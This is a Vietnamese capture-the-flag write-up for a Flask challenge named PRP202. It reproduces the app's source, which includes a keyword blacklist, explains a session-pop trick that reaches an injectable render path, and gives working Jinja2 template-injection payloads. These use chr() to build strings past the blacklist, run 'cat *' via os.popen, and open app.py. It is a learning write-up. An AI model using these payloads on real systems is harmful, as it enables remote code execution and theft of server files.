PRP202
Một bài hay và cực khó với mình, chả trách người anh T giấu tên cứ bảo làm thử
2 ngày để làm, nhiều lần thất bại, nhưng kết quả thật xứng đáng
Source code and analysis
Source code
Bắt đầu vào bài, tại trang index, Ctrl U lên thấy source code Flask của web
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
app = Flask(__name__, template_folder="template")
SESSION_TYPE = "filesystem"
app.config.from_object(__name__)
Session(app)
authCode = "C4n 1 Trust Y0u? Player "
# Our bot detected that some users had gained access to the system by malicious function, so we decided to ban it.
blacklist = ["'", '"', "request", "readlines", "+", "%2b", "%22", "%27", "linecache"]
def authCheck(input):
if session.get(input) == None:
return ""
return session.get(input)
@app.route("/", methods=["GET", "POST"])
def index():
try:
session.pop("userCode")
session.pop("winner")
except:
pass
if request.method == "POST":
ok = request.form["ok"]
for ban in blacklist:
if ban in request.form["name"]:
return render_template_string("Hacker Alert!!!")
session["userCode"] = request.form["name"]
if ok == "Let's play!":
session["check"] = "access"
# bypass this? No way haha :D
winner = "cocailonditconbamay"
session["winner"] = winner
return render_template_string(
"Generating winner hash...<script>setInterval(function(){ window.location='/doanxem'; }, 500);</script>"
)
return render_template("index.html")
@app.route("/doanxem", methods=["GET", "POST"])
def doanxem():
try:
if authCheck("check") == "":
return render_template_string(authCode + authCheck("userCode"))
else:
if request.method == "POST":
winner_input = request.form["winner"]
if winner_input == authCheck("winner"):
mess = (
"You are the real winner!!!!!!!!!! "
+ authCheck("userCode")
+ ", here your flag: https://youtu.be/dQw4w9WgXcQ"
)
elif winner_input != authCheck("winner"):
mess = "Wrong! You die!<script>setInterval(function(){ window.location='/choilai'; }, 1200);</script>"
return render_template_string(mess)
return render_template("doanxem.html")
except:
pass
return render_template_string(authCode + authCheck("userCode"))
@app.route("/choilai")
def reset_access():
try:
session.pop("check")
return render_template_string(
"You got an Extra Change. Gud luck :D!!!!!!<script>setInterval(function(){ window.location='/'; }, 500);</script>"
)
except:
pass
return render_template_string(authCode + authCheck("userCode"))
if __name__ == "__main__":
app.secret_key = "###########"
serve(app, host="0.0.0.0", port=8900)
Analysis
Có render_template_string()
nên rất dễ đoán đây là SSTI
Nhưng vì đã bị chặn request.args
nên chắc phải inject từ một input nào đó :v
Review lại source code thì ta thấy có 2 chỗ render_template_string()
cần sử dụng authCheck("userCode")
, chính là cái tên ta nhập ở index
Ở doanxem()
ta thấy mess
là một đoạn code chuyển hướng sang /choilai
Sang đến choilai()
thì ta thấy rằng nó sẽ pop
cái mục check
của session data, vậy câu hỏi ở đây là, nếu như ta để cho doanxem
gửi một request sang /choilai
, nhưng trước khi /choilai
kịp render, ta drop cái request đó? Tất nhiên cái session.pop("check")
vẫn được thực thi, nhưng không render. Và nếu ta gửi tiếp một request của doanxem
vào /choilai
, điều gì sẽ xảy ra? session.pop()
sẽ lỗi vì đã pop trước đó, nên giờ không còn gì mà pop, và thay vì render ra chuyển hướng về index, thì đoạn render cuối sẽ được thực thi.
Đã rõ cách để trigger template, thử nhập {{7*7}}
ở index và làm các bước như trên:
Exploit
Vậy là đã rõ, bây giờ việc cần làm là tạo ra payload, trước tiên, hãy review cái black list của source code đã:
1
blacklist = ["'", '"', "request", "readlines", "+", "%2b", "%22", "%27", "linecache"]
Đoạn này khá là khó, vì black list chứa những kí tự và từ khóa phổ biến để tạo payload SSTI
Suy nghĩ mãi làm thế nào để tạo payload thì người anh TungDLM bảo chr
, sáng dạ thêm một tí
Cụ thể thì ta sẽ dùng chr()
để tạo các kí tự trong string và ghép chúng lại, nhưng trước tiên, phải define nó
Thử nhập ().__class__.__base__.__subclasses__()
để list các subclass và mình thấy, tại vị trí 80 có <class '_frozen_importlib._ModuleLock'>
, có thể sử dụng nó để define chr
:
1
{% set ().__class.__.__base__.__subclasses__()[80].__init__.__globals__.__builtins__.chr %}
Đoạn này phải cảm ơn 3 chữ s e t
của anh TaiDH, một pro đã giải bài này trong 15 phút, trước cả mình
Ok, để đoạn define ở đó, bây giờ đến đoạn payload chính, có rất nhiều hướng làm:
Sử dụng cycler
, __doc__
và replace
(TungDLM):
1
{{cycler.__init__.__globals__.os.popen(().__doc__[36:41].replace(chr(97),chr(99)).replace(chr(114),chr(97)).replace(chr(103),chr(116)).replace(chr(117),chr(32)).replace(chr(109),chr(42))).read()}}
Dễ hiểu là, chúng ta sẽ lợi dụng đoạn __doc__
của Tuple
, ví __doc__
là một String nên ta chỉ việc cắt một đoạn của nó ra, replace()
để thay thế các kí tự, sử dụng chr()
để thay cho việc dùng ''/""
. Nhờ đó tạo được câu lệnh để os.open()
thực thi (cat *
) và in ra tại read()
Payload hoàn chỉnh:
1
{% set chr = ().__class__.__base__.__subclasses__()[80].__init__.__globals__.__builtins__.chr %}{{cycler.__init__.__globals__.os.popen(().__doc__[36:41].replace(chr(97),chr(99)).replace(chr(114),chr(97)).replace(chr(103),chr(116)).replace(chr(117),chr(32)).replace(chr(109),chr(42)))}}
Sử dụng __add__
(by me):
1
{{().__class__.__base__.__subclasses__()[80].__init__.__globals__.__builtins__.open(chr(97).__add__(chr(112).__add__(chr(112).__add__(chr(46).__add__(chr(112).__add__(chr(121)))))))}}
Tại đây mình sử dụng __add__
để nối các kí tự thành chuỗi và open()
để mở file, không khuyến khích làm theo, khổ dâm lắm :’(
Payload hoàn chỉnh:
1
{% set chr = ().__class__.__base__.__subclasses__()[80].__init__.__globals__.__builtins__.chr %}{{().__class__.__base__.__subclasses__()[80].__init__.__globals__.__builtins__.open(chr(97).__add__(chr(112).__add__(chr(112).__add__(chr(46).__add__(chr(112).__add__(chr(121)))))))}}
Flag:
Flag: FUSEC{@@@@@@Th3_n3Xt_l3v3l_pL4y!!!!!!!!}
Rất có thể có nhiều cách khác, vì anh TungDLM đã để nhả
Cảm ơn anh TungDLM và anh TaiDH đã hỗ trợ trong quá trình giải bài này
References:
https://doantung99.medium.com/fpt-night-wolf-ctf-writeup-de43925ed84b, WU của anh TungDLM trong giải NightWolf-CTF do SAS tổ chức, trong đó có bài XSMB, cùng SSTI tương tự, tại bài đó, anh Tùng có đính kèm 2 link tham khảo
https://chowdera.com/2020/12/20201221231521371q.html, đây là bài viết mình tham khảo rất rất nhiều, chi tiết và có thêm 3 đoạn code viết bằng python giúp tìm vị trí các class dễ hơn, một số trick bypass filter, nên tham khảo
https://portswigger.net/research/server-side-template-injection, đây là bài viết của Jame Kettle về SSTI, nếu nhớ không nhầm chính ông này nghiên cứu ra SSTI, nên đọc nếu chưa biết nhiều về SSTI